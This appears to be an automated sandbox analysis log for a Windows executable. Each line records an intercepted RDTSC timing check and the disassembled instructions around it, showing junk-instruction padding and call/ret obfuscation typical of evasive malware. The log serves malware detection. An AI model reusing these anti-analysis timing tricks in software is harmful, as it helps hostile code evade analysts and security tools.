Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F31A5 second address: 11F31AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F31AE second address: 11F31B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F31B4 second address: 11F31C6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD0E506DD06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F31C6 second address: 11F31CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F31CE second address: 11F31D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F639B second address: 11F63A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F63A1 second address: 11F63BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD0E506DD13h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F63BF second address: 11F63C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F63C3 second address: 11F63D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD0E506DD06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F63D3 second address: 11F63F1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD0E4E9B9E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FD0E4E9B9EEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F63F1 second address: 11F63FF instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD0E506DD06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5AC0 second address: 11F5AD7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD0E4E9B9EEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5AD7 second address: 11F5ADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5ADB second address: 11F5ADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F601B second address: 11F6020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F6020 second address: 11F605B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E4E9B9F0h 0x00000007 push ecx 0x00000008 jmp 00007FD0E4E9B9F8h 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jne 00007FD0E4E9B9E6h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F605B second address: 11F6062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F6062 second address: 11F606C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD0E4E9B9F2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F606C second address: 11F6072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC4CB second address: 11FC4CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC619 second address: 11FC61F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FC61F second address: 11FC625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FCD79 second address: 11FCD88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD0E506DD06h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD30F second address: 11FD314 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD314 second address: 11FD330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007FD0E506DD06h 0x00000011 jmp 00007FD0E506DD0Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD330 second address: 11FD334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FDC0E second address: 11FDC22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007FD0E506DD0Ah 0x0000000b pop esi 0x0000000c pushad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FDC22 second address: 11FDC32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jnc 00007FD0E4E9B9E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FDC32 second address: 11FDC41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FD0E506DD06h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FDC41 second address: 11FDC45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FDEEE second address: 11FDEF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FDEF4 second address: 11FDEF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207222 second address: 1207234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0E506DD0Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207234 second address: 1207238 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207238 second address: 120723E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120723E second address: 1207244 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12073A5 second address: 12073A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12074E5 second address: 12074FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FD0E4E9B9E6h 0x00000009 jg 00007FD0E4E9B9E6h 0x0000000f jne 00007FD0E4E9B9E6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1212CE1 second address: 1212CE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1212CE5 second address: 1212D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FD0E4E9B9FDh 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FD0E4E9B9F5h 0x00000015 push eax 0x00000016 push edx 0x00000017 jc 00007FD0E4E9B9E6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12116FB second address: 1211701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211701 second address: 1211705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211705 second address: 121170E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211A19 second address: 1211A1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211D03 second address: 1211D07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1211D07 second address: 1211D17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD0E4E9B9EAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1210BEE second address: 1210C36 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD0E506DD1Eh 0x00000008 jmp 00007FD0E506DD18h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FD0E506DD0Ah 0x00000017 jmp 00007FD0E506DD10h 0x0000001c popad 0x0000001d jno 00007FD0E506DD08h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1210C36 second address: 1210C42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD0E4E9B9E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1210C42 second address: 1210C46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1210C46 second address: 1210C4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1210C4C second address: 1210C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FD0E506DD06h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1210C5C second address: 1210C60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1210C60 second address: 1210C64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121ABD0 second address: 121ABEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0E4E9B9F8h 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122BE38 second address: 122BE49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FD0E506DD0Ah 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12347B3 second address: 12347B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12347B9 second address: 12347D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E506DD10h 0x00000007 jns 00007FD0E506DD06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12347D3 second address: 12347F8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FD0E4E9B9F3h 0x00000008 ja 00007FD0E4E9B9E6h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007FD0E4E9B9E6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12347F8 second address: 12347FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124458A second address: 1244594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124353D second address: 1243553 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E506DD12h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243553 second address: 1243559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243559 second address: 1243590 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E506DD0Ch 0x00000007 jng 00007FD0E506DD1Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jne 00007FD0E506DD16h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1243590 second address: 1243596 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12442B9 second address: 12442D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD0E506DD11h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12442D3 second address: 12442DA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248010 second address: 1248014 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248014 second address: 124801A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12519DD second address: 1251A14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FD0E506DD18h 0x0000000f jmp 00007FD0E506DD0Ch 0x00000014 popad 0x00000015 jl 00007FD0E506DD0Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265283 second address: 126528B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1274CAC second address: 1274CB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1274E2D second address: 1274E42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD0E4E9B9ECh 0x0000000a jns 00007FD0E4E9B9E6h 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12750A6 second address: 12750B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD0E506DD06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12750B2 second address: 12750C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jc 00007FD0E4E9BA0Eh 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12750C1 second address: 12750CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD0E506DD06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12750CD second address: 12750DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD0E4E9B9E6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12750DC second address: 12750E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127533F second address: 127536F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0E4E9B9EFh 0x00000009 popad 0x0000000a jp 00007FD0E4E9B9F8h 0x00000010 jmp 00007FD0E4E9B9F2h 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12754E0 second address: 12754E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12757A7 second address: 12757B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127856D second address: 1278577 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD0E506DD0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278772 second address: 1278778 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278778 second address: 127877C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127877C second address: 12787DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 xor dword ptr [ebp+122D3323h], esi 0x0000000f push 00000004h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007FD0E4E9B9E8h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov edx, 470F10D2h 0x00000030 push C1493EEFh 0x00000035 pushad 0x00000036 pushad 0x00000037 jmp 00007FD0E4E9B9ECh 0x0000003c jmp 00007FD0E4E9B9EFh 0x00000041 popad 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12789DE second address: 12789E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edi 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12789E9 second address: 1278A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 nop 0x00000007 mov edx, dword ptr [ebp+12449DCDh] 0x0000000d push dword ptr [ebp+122D1D74h] 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FD0E4E9B9E8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d call 00007FD0E4E9B9E9h 0x00000032 push esi 0x00000033 push esi 0x00000034 jbe 00007FD0E4E9B9E6h 0x0000003a pop esi 0x0000003b pop esi 0x0000003c push eax 0x0000003d pushad 0x0000003e pushad 0x0000003f jno 00007FD0E4E9B9E6h 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278A3E second address: 1278A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278A47 second address: 1278A57 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278A57 second address: 1278A5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278A5B second address: 1278A65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278A65 second address: 1278A8E instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD0E506DD06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e jng 00007FD0E506DD0Ch 0x00000014 js 00007FD0E506DD06h 0x0000001a pushad 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 popad 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 pushad 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127B509 second address: 127B50D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127B50D second address: 127B52A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0E506DD0Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FD0E506DD0Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 583026D second address: 583027D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 583027D second address: 5830290 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0E506DD0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
